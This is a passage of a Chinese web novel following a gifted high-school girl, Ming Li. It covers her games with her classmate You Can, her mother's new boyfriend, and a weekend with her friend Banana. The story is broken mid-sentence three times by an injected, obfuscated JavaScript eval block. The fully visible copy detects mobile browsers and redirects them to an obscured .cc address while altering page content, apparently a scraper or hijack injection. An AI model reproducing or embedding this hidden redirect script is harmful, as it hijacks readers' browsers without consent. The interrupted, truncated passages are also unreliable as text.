也就是欺负小猫听不懂数学,它但凡会点无理数,早就抗议为自己争取姓名权了。 明厘看了眼小橘,顿时觉得它不可爱了。 “你这什么表情?”游灿像是读懂了她的表情,“不可爱吗?” “为什么会可爱?” 明厘不懂,数字怎么会和可爱扯上关系,更何况是个无理数。 “根号三还不可爱啊?3本来就是吉利数字,还带着根号在头顶能遮风挡雨,”游灿脑回路清奇,他带着伤腿略微艰难地蹲下,坐在比她高一阶的楼梯上,“那你最喜欢哪个数?” “我没有喜欢的数字。” “那最不喜欢的总有吧?” 明厘沉默两秒,想了想,“有。” “就是啊,”他笑着问:“多少?” 明厘说:“根号三。” …… 这下轮到游灿沉默了,他搂着小猫站起身,“根号三,我们走。” 盯着他的侧影,明厘莫名其妙地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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游灿把小猫放在地上,勾唇笑了下,“不过,这次轮到我来制定规则了吧?” “可以。”明厘没计较。 “不玩找规律,”他觉得这辈子都要过不去找规律这个坎了,他说:“来玩个有意思,推理怎么样?” “没问题,”她重复了一遍,“我输了就告诉你答案,你输了小猫取什么名字听我的,对吧?” “对。” 她说:“开始吧,这次让你先来。” 游戏开始。 他看上去早有准备,沉着冷静,“一副扑克牌共有54张,去掉大小王,还剩52张。其中,黑桃、草花属于黑牌,红心、方块属于红牌。洗牌之后分成A、B两组,每组有26张,重复洗牌1000次。问题是,A组中的红牌数和B组中的黑牌数,有几次会完全相同?” 游灿抱着一雪前耻的心,上来就给她出了道变态难题。 明厘漫不经心地看着他,他额头前的碎发都透着嚣张,这是有多想扳回一局。 “你可以回答了。”他扬扬下巴,说。 这题目有趣的点就在,她不一定能答对,但一定能看得懂,哪怕最终答案不正确,游灿也能倒推出她的答题思路,也就能推出她的数学水平。 “答案是0。” 明厘甚至都没有思考,一秒说出。 游灿愣了下,“不是、多少??” 她说:“那道找规律题目,答案是0。” 游灿大脑有一瞬间的空白,不好的预感涌上心头。 “你什么意思?” 明厘笑眯眯地看着他:“你出的题目太难了,我要认输。” 13. 好友 游灿沉默了。 他喉结滚了下,半天才憋出来一句:“你认输?” 明厘说:“对。” 他不可置信:“你还没开始做啊你就认输?” 明厘惋惜地叹了口气,“太难了,我们渣渣是做不出来的。” 慢条斯理,有种一拳打到棉花的无力感。 游灿想扑过去咬人。 这可是他找了一晚上的推理难题。就在见面之前,他还期待着她吃瘪的模样。 他狗急跳墙,噌地从地上站起来,“你怎么能认输呢?” “为什么不能?” 她根本不在乎小猫叫什么名字,叫小猪小狗也跟她没关系,又不是她的小猫,所以,方才游灿义愤填膺说出那道题,她一个字也没听。 他不就是想出道题扳回一局吗,索性给他答案就是了。 然而面前的男生,活活像只炸了毛的萨摩耶。 如果不是身高受限,明厘甚至想伸手去摸摸他的头发,顺顺毛。 他气笑了,“你玩我呢?” “我没有。” 明厘诚恳地摇摇头。 “1,0,5,2,3,10,9,4,这能有规律?”他拧着眉,看她能编出什么瞎话。 明厘觉得奇怪:“玩之前说的是不是,输了告诉你答案?” “是。” “那我告诉你答案了没有?” 游灿:…… 他闭了闭眼,终于意识到一个问题,无论他说什么,明厘总有歪理能给他反驳回去,两句一个陷阱,最后吃亏的还是他。 连续两次栽在她手上,游灿内心十分郁闷。 明厘倒是有些意外,她之前觉得他自由散漫,没想到面对数学还挺认真,颇有种不破楼兰终不还的气质。 毕竟是从小学数学的,她一眼就能看得出来,这人是个天赋型选手。 和她这种赶鸭子上架的不一样。 明厘冒出来一个想法:数学,果然还是得这种真心热爱的人来学啊。 他本就站在比她高一级的台阶上,直起身来她才发觉,他个子很高,仰着头才能和他对视。 索性,明厘转身不再和他纠缠。 就在她刚要迈步子离开时,一转身,瞥见楼下一抹熟悉的身影。 明岚穿着亮眼的红色大衣,和一个男人并行上楼,朝着他们的方向走来。 明厘下意识抓住扶手,迅速向上迈了一个台阶,躲在他们的视线之外。 她偏着头小心观察,明岚上楼时顾着和身旁的男人说话,并没有注意到楼上的她。 “你来就来了,怎么还带东西……” 两人边笑着说话,姿态亲昵,仿佛一对甜蜜夫妇。 那男的是谁?这个方向,是去她家吗? 事发突然,明厘大脑还是空白的,她不清楚自己为什么要躲。 她盯着那位叔叔的侧脸,想起来好像就是刚才在凉亭里对她尴尬微笑的人。 正当她要探头仔细看看时,叔叔忽然抬头,和她对视了。 明厘内心警铃大作,心脏砰砰跳。 就在对视的瞬间,她清楚地看到,男人原本搭在明岚腰间的手迅速收了回来,而后若无其事地继续走。 明厘脑子里一团乱麻,还没来得及细想,忽然被敲了下头顶。 她皱着眉抬头,对上了一双明亮但慌张的眼睛。 游灿:“你、你干什么啊?突然上来,想吓死我吗?” 就在刚才,他毫无防备,女生突然上前,一下子站到他跟前,额头抵着他心口处,还心虚似地东张西望。 距离拉近,游灿身体骤然紧绷,连呼吸都忘了。 明厘回过神来,赶紧后退一步,“不好意思。” 她又察觉不对,“你躲开不就好了。” 游灿无语地看着她,指了指自己的腿,“能不能尊重一下我们病号。” 明厘哦了一声,心里却奇怪得很,又忍不住瞅了眼他的腿。 这是受了多重的伤,到现在还没好。 兜里手机震动,她拿出来看了眼。 是明岚的电话。 刚才稍微放松的心又被提了起来。 “喂,妈?” “你还没到家吗?” 手机开了免提,明岚的声音清晰传出来。 “快了,我在楼下买本子。”她随口胡诌。 游灿盯着她,看热闹不嫌事大,歪着头笑。 明厘犀利的眼神扫过去,制止了他,对电话那头敷衍回了几句,“马上,我上楼了。” “你新换的手机号一直用着吗?”妈妈又问。 “嗯,上周才刚办好的。” “我这边要填个表,正好你给我念一下。” 明明发条消息就能解决的事,她妈非得打电话,也不考虑这世界上有人不喜欢打电话。 她说:“我给你发过去,你粘贴一下不就好了。” 明岚又催促:“有那个工夫我早就填好了,赶紧的。” 明厘无奈,边走边报了一串号码。等她想起身后还有个人时,回头,游灿早就不见了踪影。 刚刚还说腿有毛病呢,她嫌弃地想。 给她开门的是明岚,门打开的同时,一股好闻的红烧肉味当头飘过来。 明岚笑眼盈盈,“快进来洗个手吃饭,等你挺长时间了。” 她习惯性进门,换拖鞋,抬头放鞋时,鞋架的底层,明岚的高跟鞋旁边,摆了一双男士皮鞋。 明厘踏入客厅的脚步猝然顿住。 视线挪到明岚的脸上,这才发现她今晚还画了个淡妆,用卷发棒烫弯了头发。 妈妈亲昵地推了她一把,拍了拍她后背,笑着说:“小厘要上晚自习,回来得稍微晚点。” 刚才和她并肩上楼的男人正站在客厅里,冲着明厘笑了笑。 明厘站在原地,突如其来的一幕让她说不出话。 “快叫林叔叔啊,这孩子怎么还傻站着呢。”明岚指了指面前的男人。 她回过神,“林叔叔你好。” 原来这就是林叔叔了。 林建邺身材稍微有点瘦,长相斯文,看上去年纪要比明岚大一点,气质沉静,玉面书生的模样。 他礼貌地打了个招呼,“小厘吧?你妈妈跟我提过好几次,说你学习优秀,又聪明又懂礼貌。” “别客气了,你快坐下吧,”明岚张罗着让林建邺赶紧坐。 桌子上摆了几道精致的小菜,没有大鸡大鱼的硬菜,都是些小孩爱吃的花样。 “上了一天课,饿了吧?”明岚贴心地把那道红烧肉挪到她跟前,“你林叔叔叫了几个菜,赶紧吃点。” 明厘这时候才想起来,之前在妈妈的朋友圈里见过这位叔叔,怪不得在楼下凉亭的时候,她就觉得眼熟。 同时,她也确信,刚才在楼梯间,林叔叔看到了她。 不仅能看到她,那个角度,她面前的游灿也能看的一清二楚。 明厘顿时有些心虚,心脏被高高吊起。 她不安地起身,离开了沙发,“我、我先去放下书包。” 背着书包坐在床上,明厘反复思考,这人不会无聊到跟她妈告状吧? 但她转念一想,告就告呗,她有什么好怕的? 她烦躁地闭眼仰躺过去。 书包被压在底下,后背硌得难受,她却懒得拿出来,又没有相机,几本书而已,压不坏。 相比告状,她最厌恶 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饭桌上气氛还算温馨和谐,林建邺不是个健谈的人,大部分时间都是在听明岚说,明厘低头专心吃饭。 林叔叔亲切地给她夹菜,殷勤但并不令人厌烦,是个很懂分寸的人。 偶尔明厘抬头,故意对上他的视线,他也会坦荡地笑笑,仿佛楼梯间的撞见根本不存在。 红烧肉里加了冰糖和香料,熬出来的汤汁黏糊糊,五花肉又软又糯,鲜嫩可口,见她夹了好几次,林叔叔直接把盘子挪到她跟前。 两位大人客气地把话题引到她身上。 “那小厘是有想学的专业吗?” “学医,”明岚替她回答,“这孩子从小就想学医。” “学医挺好啊,就是太累了,真要忙起来都吃不上饭。”林叔叔说。 “我记得小沨就是学医的吧?”明岚想到什么,“是今年毕业吗?” “明年毕业,现在跟着他老师在医院实习呢。” “那多好啊,这孩子从小就争气,都不用你操心”,明岚又看看埋头吃饭的明厘,语重心长,“听到了吗?小沨哥哥从小就一直是第一名,从来没考过第二,名校毕业的高材生,以后前途坦荡着呢,工作什么的都不用愁,好好跟你小沨哥哥学!” 明厘擦掉嘴上红烧肉的油汁,“学。” “可别跟他学,整天忙得不回家,二十好几了连个女朋友都没有,钱挣再多有什么用?”林叔叔笑着说,嘴上说着不满,但语气里都是对自家儿子的骄傲。 “年轻人嘛,多打拼几年也不错,”明岚说,“最近他不休假吗?有时间的话叫出来一起吃顿饭多好。” “上回打电话说清明那天应该有空,我到时候再问他,反正啊,他作息也一直没个规律,逮住一回不容易。” …… 一顿饭吃下来,两人光忙着客套说话,就明厘吃的最饱。 不过她也能明白,客套话都是说给她听的,这顿饭唯一的主角就是她。 也就是说,林叔叔带了个儿子,比她大几岁,不出意外的话,清明就能见到了。 吃完饭林叔叔就离开了,明岚因为要开会,又回了卧室。她就职的公司是一家外企,供应商来自美国,半夜出差开会是常事。 明厘吃完饭后洗了碗,回到房间,已经没什么整理数学错题的心思了。今晚状态不佳,她果断放弃了熬夜学习,定了个闹钟,明天四点半起床。 正打算熄屏睡觉,忽然弹出来一条新消息。 八百年没动静的通讯录上,多了一个红点,她疑惑地点开。 【游火火请求添加你为朋友。】 14. 照片 游火火。 这昵称用膝盖想想都知道是谁。 幼稚死了,明厘在心里唾弃了一声。 游灿应该是听到了她和妈妈的对话,记下了手机号,才能顺藤摸瓜找到她的微信号。 她点了同意的按钮。 时间已经到了凌晨12点,估计人早就睡了。 游灿的头像果然是那只橘猫,戴着眼镜趴在书本上。也就是上次数学题解不出来,外援头像那只橘猫。 她当时还觉得那头像可爱,现在橘猫头像就在消息列表里,明厘觉得十分狗血。 和他懒散吊儿郎当的人设不相符,游灿的朋友圈非常精彩,生活气息满满,光风景照片就占了大半,雾里山城,首都红旗,江南园林……足迹遍布天南海北。 最新的一张照片是上周刚拍的,海边夕阳图。 大海碧绿,半块夕阳隐匿在海面之下,洒下的余晖金黄,视野广阔无垠。 她只看了一眼就认出,这是海城那片著名的玻璃海。 她从小长大的地方。 图片配的文字很短:一游。 再往下,配字也很单调:游。一游。游到此。到此一游。 …… 照片不少,她翻了好几次都没到底。 不得不说,游灿的拍照技术还不错,她从小玩相机,看到照片就忍不住分析构图。 他的照片大多构图简洁,但色调鲜艳明亮,透着满满的生命力。 除了风景图,还有些数学书的照片,她好奇地放大,大部分是有趣但很偏的难题,国内外都有。 从朋友圈就能看得出来,这人生活非常丰富多彩。 夏天赶海,潜水,打球,看烟花。冬天滑雪,爬山,卡丁车。 相比之下,明厘的朋友圈贫瘠像荒草地。 每年只有生日那天固定会发一张无聊的风景照。 明厘沉迷在他朋友圈的小世界里,一不小心就看到了凌晨一点。 她赶紧退出,准备睡觉,顺便又检查了一遍明天早上四点半的闹钟。 不对,是今天早上。 明厘迅速闭上眼睛,试图进入睡眠。 但有时候越是想努力睡着,大脑反而越活跃。 临睡前看过的几张照片在她脑子里挥之不去。 海城,上周,是去参加竞赛考试了吧? 她之前也报名了,但决定放弃竞赛后,就没再关注了。 还有上个月,云州的照片,也是为了考试吧,她也没去。 她倒不是羡慕他能到处旅游。这几年,为了考试,她也去了不少地方,集训、比赛、上课,寒暑假都安排得满满当当。 但她只觉得疲惫。 去新城市,也就意味着水土不服,吃不好睡不下,意味着路途遥远,动车飞机颠簸,意味着残酷的考试或是压力集训。 她是个没法兼得的人。 不像游灿,边考试,还能边享受。 明厘翻了个身,心里泛起一股遗憾。 她忙着闷头赶路,走马观花错过了沿途风景,身体上收获了疲惫,心灵上收获了空虚,筋疲力尽,却依然没有走到头。 大人都说,她是个有天赋的小孩。 但从来没有人告诉她,天赋到底是礼物还是枷锁。 她埋在数学题里心态崩溃时,旁人一句失望的叹息,就能将她打入冰冷地狱。 天才犯错,比普通人更加难以饶恕。 明厘又翻了个身,何况哪有什么天才,她就是个普通高中生,今年16岁而已。 * 明厘被公交车内的暖气烤得晕晕乎乎。 她坐在角落处,靠着窗户,随着启动刹车,头一晃一晃。 今天早上吃饭的时候,明岚过来问她,觉得林叔叔怎么样? 明厘心不在焉喝着稀饭,说挺好的。 她四点半起来学习,这会已经有点困了,明岚说的什么客套话也懒得听,临走前又做了杯咖啡,一饮而尽。 也许是咖啡还没开始发挥作用,上了公交车,她头脑有点不清醒,少女的惆怅就如涨潮般缓缓袭来,层层递进。 妈妈小时候家里穷,她性格要强,硬是憋着一股劲读完了研究生,那个年代的硕士研究生含金量巨高,她风风光光嫁给小老板的儿子,半只脚迈进豪门。 婚后两个人和和美美,爸爸背靠家业,平日就养花钓鱼,妈妈当了几年数学老师,拿死工资,打卡上下班,但她觉得憋屈,平平淡淡一辈子走到头有什么出息? 于是毅然辞职,下海创业。 明厘特别佩服妈妈的一点,目光长远,早在九十年代就看透了老师没出息。 一个是在社会上摸爬滚打的女强人,一个是在家里懒散不上进的富二代,从懂事起开始,明厘就觉得他们离婚是必然的。 但等到真离婚了,她就抱着他们什么时候能复合的幻想。 起码今天之前,她都沉浸在不切实际的幻想中。 如果今后家里真的要多一个叔叔,不,还有叔叔他儿子,她不知道和明岚相处的平衡点是否会被打破,她是不是还要分出精力来应付那两个男的。 明厘闭了闭眼,为什么高中生要面对这么多烦恼? 在学校吃苦就算了,回家还不得安宁。为什么生活不能像数学题一样有公式呢,代入数字,得出结果,真有那么简单该多好。 一连串少女的惆怅驱使她打开手机,给亲爱的小姨发了条消息。 小明:小姨,你在上班吗? 小姨回的很快,没有发文字,而是发了一段视频,三秒的视频。 国外深夜的酒吧里,她小姨正埋在灯红酒绿之间,视频里除了炫目灯光和吵死人的音乐,什么也看不清。 明厘叹了口气,打算自己消化这些情绪。 接着,小姨就拨过来一个电话。 “小厘?大早上的,你又逃课了?” 电话那边稍微清净了,但喧嚣依旧很明显。 明厘把耳机戴好,无奈道:“我没有,这个点国内还没上课呢,我正在去学校的路上。” 小姨爽快地问:“哦,突然找我什么事啊?” 明厘跟小姨如实说:“我妈这两天带了个叔叔回家。” “是吗?长什么样?帅不帅?” 明厘忽然就有点后悔,她不该指望小姨能共情她的。 “还行,感觉比我妈年纪大点。” “怎么了,不高兴啊小学生?”小姨笑着问她。 明厘争着说:“我不是小学生了。” “心里想的什么我一猜一个准,这么明显,还说不是小学生?” 被猜中了心思,明厘没再狡辩,“好吧……小姨你什么时候回国?” 小姨在法国念大学,毕业后一直留在巴黎,拥有艺术史和精算双学位,目前在美术馆工作,薪资极高。 “还不知道呢,我这边最近很忙,”她说,“不过你高考之前我肯定能回去,放心吧!” 明厘叹了口气,“小姨,我高考那都得两年之后了。” “是吗?”小姨惊讶,“你才高一啊??” ……明厘想挂电话。 小姨快刀斩乱麻安慰她,“放心吧,你妈没跟我说过要结婚,估计就是谈个恋爱玩玩,不要瞎想啦。” 明厘有点着急:“但是林叔叔还有个儿子呢。” 小姨给她出主意:“那要不你去把林叔叔儿子拿下,这样你妈肯定就不会结婚了。” “小姨!”明厘激动起来,“你说什么呢!” 电话那头传来小姨哈哈大笑的声音,“行了行了,我不逗你了,赶紧收拾书包上学去。” 挂断电话后,小姨又给她发了条消息:不要惆怅了小学生,你妈妈那个岁数也是要谈恋爱的,谁也没有做错,如果实在担心不知道该怎么和新叔叔相处,就先不要相处,逃避可耻但有用! 最后,小姨给她发了四千块钱的红包,让她当零花钱。 明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“也没有,”她说,“我也不确定对不对,就写出来试试。” “那也比我强多了。”闻棠有点丧气地盯着数学讲义。 刚刚的数学课上只讲了一半,后面几道大题,她每道都只能写出第一问,于是卷子上大片都是空白。 明厘也看了眼她的卷子,沉默了两秒,问道:“哪道题不会?” 闻棠仿佛听见了天籁,就这么一句话,她差点感动的哭出来。 “我、我不会的有点多,你可以给我讲一下这道吗?就这道就行,剩下的我再回去想想。” 明厘平静地说了句“好”,拿起笔,四两拨千斤,就给她把步骤讲清楚了。 讲完之后,她又顺手在剩下的题目上画了几个圈,“这个题,和这个,都是同类型的,你可以放在一起看,但是这道要加个辅助线会比较简单。” 闻棠惊喜又感动,说了一连串的谢谢,弄得明厘都有点不好意思。 “不过刚才老师问有没有同学会做的时候,你怎么没举手?” 明厘随口说:“我有点懒。” 闻棠被这个理由震惊了,但她没再多问。 晚上临近放学,明厘去了趟卫生间,回来桌子上就多了好几张卷子,崭新,干净。 闻棠主动帮她整理了新发的试卷,作为讲题的小小回报。 明厘说了谢谢之后,照例把手机从桌洞拿出来,打算放进兜里揣着回家。 她刚划开屏幕,就弹出来一条新消息。 【游火火发来一条新消息】 她皱着眉点开。 游火火:小明同学,能帮我捎一份数学卷子回来吗?谢谢。 15. 好友 明厘选择无视他的消息。 她知道贺鸣飞隔几天就会收拾一下卷子给他带回去,如果她大张旗鼓地走到最后排,把卷子整理好装进书包,不知道会引来多少人的好奇。 况且,就拿今天发的数学卷子来说,这种难度的题目他根本不需要做。 明厘把手机装进兜里,一身轻松地回家了。 月考比想象中来得更快。 下午最后一节自习课,凌越站在讲台上,指挥大家把书挪走,桌子要清理干净,按照7887的排列方式重新布局。 明厘抱着大摞书,和闻棠一起,把书放进教室外的柜子里。 “你紧张吗?”闻棠问。 “还好,”她随口说,而后又想了想,说实话,“其实不紧张。” “我有点紧张。”闻棠说。 她上次期末考发挥超常,而月考就能把她打回原形。 “还没开始考呢,等考完再难过也不迟。”明厘安慰她。 明厘前后左右都是陌生的同学,一中安排考场和座位也是随机,不按成绩排。 她每一科都答得很快,尤其是数学。考数学那场时,监考老师看她早早抬起头,还好奇地走近看她的卷子。 说是小月考,但题目不算简单,学校大概是故意想给刚开学还没收心的兔崽子们来个打击。 考完之后,还没进班里,远远就听到一阵哀嚎。 “我这次是真完了,数学那都考的什么玩意啊!” “快得了吧你,哪次不是这样说?” “这次真不一样,我真不会!” …… 明厘在教室外,平静地弯腰收拾书。 闻棠考完回来时,和她打了个招呼,“考得怎么样?” 明厘平静地笑了笑,“挺好,外焦里嫩的。” 闻棠被她逗笑,放下书包后帮着一起搬书。 明厘的柜子靠近教室后门,她抱着一大摞书,从后门进入教室。 后门处有几个同学在搬桌子,堵在门口,她也不着急,抱着书慢慢地等。 身后传来一句懒洋洋的:“让一下呗。” 她下意识挪开。 一回头,游灿单手拎着书包,从后方擦肩而过,走进了教室。 他穿着简单的灰色卫衣和牛仔裤,靠近她的瞬间,明厘闻到了淡淡的洗衣粉味,干净,清新。 明厘在原地愣了几秒。 他怎么回来了? 游灿像不认识她一样,没有打招呼,径直越过她。 门口还挡着一张桌子,他直接打横抬起,从门口挪走。 接着,贺鸣飞的大嗓门隔了半个班级响起:“卧槽!你什么时候回来的?!” “哟!回来了?” 交通堵塞被疏导开,明厘抱着书走进教室,把空桌洞一点一点填满。 先前在楼道偶遇过几次的人,毫无预警忽然出现在教室,明厘觉得怪怪的。 “游灿回来了,这下巫老师不用担心年级第一会被二班抢走了。”闻棠一边收拾东西,和她搭话。 明厘回过神,“也不一定,说不定他回来就是为了考个倒数第一呢。” 两人又不约而同地笑了。 游灿和几个男生刚进教室,就被人为围了一圈,大部分都是来找他对答案。 “灿哥,你月考考了吧?” “废话,”他说,“不然我回来干嘛。” “数学倒数第二题是选AB吧?” 他掀起眼皮,“什么题?” “立体几何那道。” “我选了ABC。” “我靠!完了……” 后面有人陆续过来找他对答案,不光数学,生物物理化学,问什么的也有。 “别急,别急,”游灿把书包放好,他桌子上层峦叠嶂,全是乱七八糟的卷子习题册,“我先把这块挖出来。” 考完试后的晚自习常常无所事事。 明厘抱着一本普鲁斯特的《追忆似水年华》看了两节晚自习,最后留了一节自习来预习新课。 看书能让她短暂地脱离学习重压,稍微喘口气。 刚结束考试时,大家还算欢脱,各科老师把答案一发,班里就笼罩着一层压抑的氛围。 旁边的闻棠在数学卷上划下第三个错号之后,眼圈隐隐红了。 明厘还没有对答案,早死晚死都是死,那还不如晚点死,于是,她翻开书,安静地埋进去,沉浸在自己的世界。 明厘看书的时候不忌荤素,随便是本书就行,她小学六年级就偷偷摸索着在明岚的笔记本电脑上看盗版小说,家里书架上有全套《灌篮高手》漫画。 可惜后来搬家,只能带走两三本。 这周末芭娜娜突袭,说抢到了特价机票,要过来找她玩。 明厘负责在她来之前看看当地的旅游攻略。 周六大清早,她就打了个车去机场接芭娜娜。 “小明~我来啦!” 芭娜娜戴了个夸张的大墨镜,遮住半张脸,像个女明星出街,可惜一嗓子就把形象喊破了。 “这么早的飞机,你不也不嫌累啊?”明厘过去和她抱了下,笑着说。 “还不是为了见你啊,跑这么远,知道我来一趟有多么不容易吗?” 明厘替她拉着小行李箱,不可置信,“你就过来两天还带个行李箱?” “当然了,不然提着大包小包的多难看,有损形象。”芭娜娜笑嘻嘻地挽着她的胳膊。 两个人在酒店把东西放下,又陪着芭娜娜试了好几套衣服。 “我幸亏拿了厚外套过来,真要被屿城的春天冻死了。” 明厘说:“上周还得穿棉袄呢。” “好了,咱们去哪玩?” “我看看,”明厘拿出手机看地图,“500米,有一个游乐园新开业的,好像还不错,看着场地挺大。” “走走走!现在就走!”芭娜娜兴味盎然,拉着她往外冲。 周末,游乐园人不少,大部分都是放假的小孩,还没开始玩项目,两个人光排队就排了半个多小时。 “玩什么不重要,主要是跟你一起玩。” 明厘笑着说:“要不你也转学?咱俩还做同桌。” “疯了吧,我还转学?这边高考竞争这么激烈,我来了连个本科都混不上。”芭娜娜夸张地说。 “你又不高考,不是打算出国吗?” “只是打算啊,万一有什么变故呢。”她又问,“哦对了,你还要参加高考吗?你不是拿了那个什么省级一等奖吗,不能保送吗?” 明厘摇摇头,“不行,高考还是要过线,如果过不了线,那个奖就没用了。” “过线就行?”芭娜娜说,“那你还学个屁,你就算天天在家玩手机也能过线吧?” “也不能一点都不学吧……” 芭娜娜食指戳着明厘的太阳穴,恨铁不成钢,“天呐!这么棒的福利你居然不抓紧时间去全世界旅游?居然还在学习?你是不是脑子学傻了?” “我又不是神仙,一点也不学还能考第一。”她无奈地说。 芭娜娜被惊掉下巴,“我真的服了,早知道这样你干嘛要转学呢,在哪不一样,海城的题目还简单。” “我妈工作调到这儿了,我自己留在海城会饿死的。” 芭娜娜二话不说,当即拍板决定:“那你住我家,咱俩一起上学。” “然后我给你写作业?” 芭娜娜一挥手,大言不惭:“……那都是小事。” “行了,不用替我觉得遗憾,”明厘安慰她,“屿城也挺好的,我要在这休息一段时间,之前太累了。” 她看了看周围的环境,“话说这里还挺适合养老。” 芭娜娜同意地点点头,“那我经常来找你。” 两人边走边说,不知不觉走到游乐园里面一家咖啡店。 咖啡店摆了几张木质桌子,角落处布满绿植,环境清幽,隔音很好,外面的尖叫和喧嚣都被隔绝。 原本,芭娜娜还要再劝些什么,但看到明厘下定决心的神情,叹了口气:“你确实得好好休息一段时间。” 两人分别点了咖啡,打算窝在店里先休息一会儿。 早在芭娜娜还不叫这绰号的年纪,就认识了小神童明厘。 传说中别人家的孩子。 她对明厘的妈妈了解不多,只知道那是个每时每刻都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379257|168334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光鲜亮丽,严格苛刻的女人。 她只去明厘家里玩过一次。 原本计划吃蛋糕看电影的美好下午,因为明厘妈妈突然回家而泡汤。 明厘妈妈客套了几句话,在听说她是个艺术生,并且因为成绩不好不打算高考直接出国时,眉目间掩盖不住鄙夷和嫌弃。 芭娜娜——大名叫做焦湘,是个耿直的女孩儿,还笑嘻嘻地说这个好吃那个好吃,谢谢阿姨款待。 直到明厘忽然起身,拉着她跑了出去。 面对明厘愧疚的道歉,焦湘懵在原地,压根不知道发生了什么,明厘看她神情无恙,没再细说,只是抱歉地表示以后不能带她回家玩了。 成为好朋友之后,焦湘才慢慢了解一点。 似乎,无论明厘怎么努力,她妈妈都不太满意。 可是她明明已经做到最好了,焦湘不明白,还能怎么好? 这些事明厘不喜欢说,焦湘也没法问。但她一直担心明厘哪天会因为压力过大,从楼上一跃而下。 所以她见缝插针找时间,来屿城找她玩。 换位思考,如果她是明厘,她想不到除了跳楼重启人生,还有什么办法能逃离这么多压力。 跳下去是最简单的方式。 让她最佩服的是,明厘并没有因为压力大而一跃而下,反而咬着牙一步步扛了下来。 只是她选择了转学。 “要不就在这儿坐一下午吧?”芭娜娜提议说。 “可以,”明厘点点头,又拿起菜单,“吃个蛋糕吧,你要芒果还是抹茶?” “芒果的。” “好了,其他的……”明厘刚要问她还吃不吃别的,就被抓了下胳膊。 “快看!快看!”芭娜娜激动地使劲拍她,“那俩人!” 明厘顺着她指的方向看过去,前台点单处,站着两个个子很高的男生。 一个银发,一个黑发。 芭娜娜小声尖叫,“银发!我爱豆就是这个发色,我喜欢,我真喜欢这个!我觉得你适合旁边那个黑发的,阳光美少年……” ……明厘谨慎地看了看四周,确定没有人听到她的猖獗发言。 然后,她盯着那背影,越看越眼熟。 直到两个人点单结束,转身。 果然是游灿和之前见过的那位银毛。 明厘觉得自己最近水逆。 屿城就这么小?走到哪都能碰见熟人。 芭娜娜已经按捺不住,要拿着手机过去打招呼。 明厘死死拽住她,“别去,我求你了!” 芭娜娜回头:“为什么?他们喝完咖啡走了怎么办?” “这是我同学……我丢不起这个人。”明厘绝望地闭上眼。 “是吗?”芭娜娜一屁股坐下,眼珠子转了转,嘿嘿一笑:“那正好,你去帮我要。” 她肯定不能去。 游灿的上一条消息她还没回,她心虚。 芭娜娜这边急不可耐,“你快去呀,我请你吃大餐!” 明厘态度坚决:“不吃。” “剪刀石头布?” “不剪。” 芭娜娜用力把明厘推出去,“我好不容易来一次,幸福生活就掌握在你手上,求求你了!” 明厘被她推的一个趔趄,差点栽倒在地,动静不小,已经引来旁边好几个人的注意。 她一狠心,站起身,壮士赴死一般径直朝着两个人走去。 游灿和徐惊临办了游乐园的年卡,周末闲来无事就来园区里面转悠。 游灿悠闲地靠在椅背上,长腿分开,余光留意着,一人走近。 短短几步路,明厘不时回头,芭娜娜用口型无声地朝着她喊加油。 她僵着步子,走到两个人桌前。 游灿抬眸,看了她一眼,又低头划拉手机,玩味似的问道:“您有何贵干?” 明厘憋出几个字:“要微信。” 徐惊临在旁边悠悠喝着咖啡,一脸看热闹不嫌事大的表情。 游灿冷笑声,“你没有?” 不等他说完,明厘指着一旁的徐惊临,说:“要他的。” 徐惊临手中的曲奇饼干啪嗒掉在桌面上。 16. 拼桌 明厘说完之后,气氛僵持了那么几秒。 徐惊临看向游灿,游灿看向她。 她赶紧补充,指了下不远处的芭娜娜:“我朋友让我要的。” 游灿和徐惊临回头,芭娜娜适时向他们投来一个礼貌微笑。 就在这时,咖啡馆的门被推开,贺鸣飞被风狼狈地吹进来。 “这大风吹得,差点站不住!” 他刚落座,看见明厘站在旁边,吓了一跳,“灿哥,啥情况这是?” 游灿随口说:“偶遇的。” 贺鸣飞哦了一声,三个男生低声商量着什么,明厘没有听清,她正要离开,贺鸣飞就叫住了她:“要不,拼个桌?” 明厘完全不知道事情为什么会发展成这样,等她反应过来,芭娜娜已经和几个人称兄道弟了。 “飞飞,你真不是体育生?” 贺鸣飞大嗓门整个咖啡馆都能听见,“我哪里长得像体育生了?” 他又指了下徐惊临,“不过他是练体育的。” “真的假的?我靠一点也不像啊!”芭娜娜更惊讶了,她又问:“练什么的?长跑吗?” 徐惊临说:“网球运动员。” 芭娜娜投来惊艳的目光,“哇。” 明厘默默喝着咖啡,一句话都没多说。 好在芭娜娜是个很有分寸的人,和人聊了半天,关于明厘的事一句也没透露。 之前两位也是这么个相处模式,只要芭娜娜在的地方,她不需要任何交际,只负责吃喝,刷存在感,芭娜娜会圆滑地把所有话题都帮她打发了。 她也是刚刚才知道,游灿和徐惊临居然是亲戚,怪不得上次见到徐惊临是在他家里。 下一秒,芭娜娜就把她的好奇给问了出来,“那你俩谁是哥哥?” 徐惊临说:“他大一点。” “但是你们为什么不是一个姓?” 游灿说:“我随我妈妈姓。” “哦,”芭娜娜接着就指了指明厘,“好巧啊,她也随妈妈姓。” ……哪里巧了? 明厘象征性地抬头,表示她在听,下一秒就发现游灿正喝着咖啡盯着她看。 毫不避讳,目光直白。 